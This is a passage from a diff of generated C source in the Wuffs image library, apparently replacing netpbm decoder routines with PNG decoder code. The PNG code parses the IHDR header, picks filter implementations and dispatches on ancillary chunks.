((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_a32 = t_0; ++ } ++ if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } else if (v_a32 > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); + goto exit; + } ++ self->private_impl.f_width = v_a32; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_ihdr.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_ihdr.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } ++ } ++ v_a32 = t_1; ++ } ++ if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } else if (v_a32 > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_a32; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; ++ uint8_t t_2 = *iop_a_src++; ++ v_a8 = t_2; + } +- if (v_c != 80u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ if (v_a8 > 16u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); + goto exit; + } ++ self->private_impl.f_depth = v_a8; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; ++ uint8_t t_3 = *iop_a_src++; ++ v_a8 = t_3; + } +- if ((v_c < 49u) || (55u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } else if (v_c == 53u) { +- self->private_impl.f_pixfmt = 536870920u; +- } else if (v_c == 54u) { +- self->private_impl.f_pixfmt = 2684356744u; +- } else { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ if ((v_a8 == 1u) || (v_a8 == 5u) || (v_a8 > 6u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); + goto exit; + } ++ self->private_impl.f_color_type = v_a8; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ uint8_t t_4 = *iop_a_src++; ++ v_a8 = t_4; + } +- if (v_c != 10u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ if (v_a8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); + goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- continue; +- } else if (v_c == 35u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- if (v_c == 10u) { +- break; +- } +- } +- continue; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- self->private_impl.f_width = ((uint32_t)((v_c - 48u))); +- break; ++ uint8_t t_5 = *iop_a_src++; ++ v_a8 = t_5; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- break; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- v_n = ((10u * self->private_impl.f_width) + ((uint32_t)((v_c - 48u)))); +- if (v_n > 16777215u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; +- } +- self->private_impl.f_width = v_n; ++ if (v_a8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- continue; +- } else if (v_c == 35u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_7 = *iop_a_src++; +- v_c = t_7; +- } +- if (v_c == 10u) { +- break; +- } +- } +- continue; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- self->private_impl.f_height = ((uint32_t)((v_c - 48u))); +- break; ++ uint8_t t_6 = *iop_a_src++; ++ v_a8 = t_6; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_8 = *iop_a_src++; +- v_c = t_8; +- } +- if ((v_c == 32u) || (v_c == 9u) || (v_c == 13u)) { +- continue; +- } else if (v_c == 10u) { +- break; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- v_n = ((10u * self->private_impl.f_height) + ((uint32_t)((v_c - 48u)))); +- if (v_n > 16777215u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; +- } +- self->private_impl.f_height = v_n; ++ if (v_a8 == 0u) { ++ self->private_impl.f_interlace_pass = 0u; ++ } else if (v_a8 == 1u) { ++ self->private_impl.f_interlace_pass = 1u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_9 = *iop_a_src++; +- v_c = t_9; +- } +- if ((v_c == 32u) || (v_c == 9u)) { +- continue; +- } else if (v_c == 35u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_10 = *iop_a_src++; +- v_c = t_10; +- } +- if (v_c == 10u) { +- break; +- } +- } +- continue; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- self->private_impl.f_max_value = ((uint32_t)((v_c - 48u))); +- break; ++ self->private_impl.f_filter_distance = 0u; ++ wuffs_png__decoder__assign_filter_distance(self); ++ if (self->private_impl.f_filter_distance == 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_11 = *iop_a_src++; +- v_c = t_11; +- } +- if ((v_c == 32u) || (v_c == 9u) || (v_c == 13u)) { +- continue; +- } else if (v_c == 10u) { +- break; +- } else if ((v_c < 48u) || (57u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } +- v_n = ((10u * self->private_impl.f_max_value) + ((uint32_t)((v_c - 48u)))); +- if (v_n > 16777215u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; ++ self->private_impl.f_overall_workbuf_length = (((uint64_t)(self->private_impl.f_height)) * (1u + wuffs_png__decoder__calculate_bytes_per_row(self, self->private_impl.f_width))); ++ wuffs_png__decoder__choose_filter_implementations(self); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_ihdr = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_ihdr = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func png.decoder.assign_filter_distance ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__assign_filter_distance( ++ wuffs_png__decoder* self) { ++ if (self->private_impl.f_depth < 8u) { ++ if ((self->private_impl.f_depth != 1u) && (self->private_impl.f_depth != 2u) && (self->private_impl.f_depth != 4u)) { ++ return wuffs_base__make_empty_struct(); ++ } else if (self->private_impl.f_color_type == 0u) { ++ self->private_impl.f_dst_pixfmt = 536870920u; ++ self->private_impl.f_src_pixfmt = 536870920u; ++ } else if (self->private_impl.f_color_type == 3u) { ++ self->private_impl.f_dst_pixfmt = 2198077448u; ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else { ++ return wuffs_base__make_empty_struct(); ++ } ++ self->private_impl.f_filter_distance = 1u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ } else if (self->private_impl.f_color_type == 0u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 536870920u; ++ self->private_impl.f_src_pixfmt = 536870920u; ++ self->private_impl.f_filter_distance = 1u; ++ } else if (self->private_impl.f_depth == 16u) { ++ if (self->private_impl.f_interlace_pass == 0u) { ++ self->private_impl.f_dst_pixfmt = 536870923u; ++ self->private_impl.f_src_pixfmt = 537919499u; ++ } else { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; + } +- self->private_impl.f_max_value = v_n; ++ self->private_impl.f_filter_distance = 2u; + } +- if (self->private_impl.f_max_value != 255u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); +- goto exit; ++ } else if (self->private_impl.f_color_type == 2u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 2147485832u; ++ self->private_impl.f_src_pixfmt = 2684356744u; ++ self->private_impl.f_filter_distance = 3u; ++ } else if (self->private_impl.f_depth == 16u) { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ self->private_impl.f_filter_distance = 6u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); + } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- false); ++ } else if (self->private_impl.f_color_type == 3u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 2198077448u; ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ self->private_impl.f_filter_distance = 1u; ++ } ++ } else if (self->private_impl.f_color_type == 4u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 553648264u; ++ self->private_impl.f_src_pixfmt = 553648264u; ++ self->private_impl.f_filter_distance = 2u; ++ } else if (self->private_impl.f_depth == 16u) { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ self->private_impl.f_filter_distance = 4u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); ++ } ++ } else if (self->private_impl.f_color_type == 6u) { ++ if (self->private_impl.f_depth == 8u) { ++ self->private_impl.f_dst_pixfmt = 2164295816u; ++ self->private_impl.f_src_pixfmt = 2701166728u; ++ self->private_impl.f_filter_distance = 4u; ++ } else if (self->private_impl.f_depth == 16u) { ++ self->private_impl.f_dst_pixfmt = 2164308923u; ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ self->private_impl.f_filter_distance = 8u; ++ self->private_impl.choosy_filter_and_swizzle = ( ++ &wuffs_png__decoder__filter_and_swizzle_tricky); + } +- self->private_impl.f_call_sequence = 32u; +- +- goto ok; +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func netpbm.decoder.decode_frame_config ++// -------- func png.decoder.calculate_bytes_per_row + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } ++static uint64_t ++wuffs_png__decoder__calculate_bytes_per_row( ++ const wuffs_png__decoder* self, ++ uint32_t a_width) { ++ uint64_t v_bytes_per_channel = 0; + +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++ if (self->private_impl.f_depth == 1u) { ++ return ((uint64_t)(((a_width + 7u) / 8u))); ++ } else if (self->private_impl.f_depth == 2u) { ++ return ((uint64_t)(((a_width + 3u) / 4u))); ++ } else if (self->private_impl.f_depth == 4u) { ++ return ((uint64_t)(((a_width + 1u) / 2u))); + } ++ v_bytes_per_channel = ((uint64_t)(((uint8_t)(self->private_impl.f_depth >> 3u)))); ++ return (((uint64_t)(a_width)) * v_bytes_per_channel * ((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type]))); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++// -------- func png.decoder.choose_filter_implementations + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__choose_filter_implementations( ++ wuffs_png__decoder* self) { ++ if (self->private_impl.f_filter_distance == 3u) { ++ self->private_impl.choosy_filter_1 = ( ++ &wuffs_png__decoder__filter_1_distance_3_fallback); ++ self->private_impl.choosy_filter_3 = ( ++ &wuffs_png__decoder__filter_3_distance_3_fallback); ++ self->private_impl.choosy_filter_4 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_3_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_3_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_4_distance_3_fallback); ++ } else if (self->private_impl.f_filter_distance == 4u) { ++ self->private_impl.choosy_filter_1 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_1_distance_4_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_1_distance_4_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_1_distance_4_fallback); ++ self->private_impl.choosy_filter_3 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_3_distance_4_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_3_distance_4_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_3_distance_4_fallback); ++ self->private_impl.choosy_filter_4 = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) ++ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_4_arm_neon : ++#endif ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_4_x86_sse42 : ++#endif ++ &wuffs_png__decoder__filter_4_distance_4_fallback); + } +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func netpbm.decoder.do_decode_frame_config ++// -------- func png.decoder.decode_other_chunk + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_png__decoder__decode_other_chunk( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ bool a_framy) { + wuffs_base__status status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; +@@ -50273,62 +63411,218 @@ wuffs_netpbm__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_other_chunk; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if ((self->private_impl.f_chunk_type == 1163152464u) && ! a_framy) { ++ if (self->private_impl.f_seen_plte) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_color_type == 3u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_png__decoder__decode_plte(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if ((self->private_impl.f_color_type == 2u) || (self->private_impl.f_color_type == 6u)) { ++ } else { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_netpbm__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_seen_plte = true; ++ } else if ((self->private_impl.f_chunk_type & 32u) == 0u) { ++ if (self->private_impl.f_chunk_type != 1413563465u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; + } +- if (status.repr) { +- goto suspend; ++ } ++ if (self->private_impl.f_chunk_type == 1716082789u) { ++ if (self->private_impl.f_report_metadata_exif) { ++ if (self->private_impl.f_seen_exif) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_png__decoder__decode_exif(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_exif = true; + } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; ++ } else if ((self->private_impl.f_chunk_type == 1951945833u) || (self->private_impl.f_chunk_type == 1951942004u) || (self->private_impl.f_chunk_type == 1951945850u)) { ++ if (self->private_impl.f_report_metadata_kvp) { ++ self->private_impl.f_metadata_flavor = 4u; ++ self->private_impl.f_metadata_fourcc = 1263947851u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ } ++ } else if ( ! a_framy) { ++ if (self->private_impl.f_chunk_type == 1280598881u) { ++ if (self->private_impl.f_seen_actl) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_png__decoder__decode_actl(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_actl = true; ++ } else if (self->private_impl.f_chunk_type == 1297238115u) { ++ if (self->private_impl.f_report_metadata_chrm) { ++ if (self->private_impl.f_seen_chrm) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_png__decoder__decode_chrm(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_chrm = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ if (self->private_impl.f_seen_fctl) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ status = wuffs_png__decoder__decode_fctl(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_fctl = true; ++ } else if (self->private_impl.f_chunk_type == 1095582055u) { ++ if (self->private_impl.f_report_metadata_gama) { ++ if (self->private_impl.f_seen_gama) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ status = wuffs_png__decoder__decode_gama(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_gama = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1346585449u) { ++ if (self->private_impl.f_report_metadata_iccp) { ++ if (self->private_impl.f_seen_iccp) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_png__decoder__decode_iccp(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_iccp = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1111970419u) { ++ if (self->private_impl.f_report_metadata_srgb) { ++ if (self->private_impl.f_seen_srgb) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_png__decoder__decode_srgb(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_srgb = true; ++ } ++ } else if (self->private_impl.f_chunk_type == 1397641844u) { ++ if (self->private_impl.f_seen_trns || ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_color_type > 3u) { ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_png__decoder__decode_trns(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } 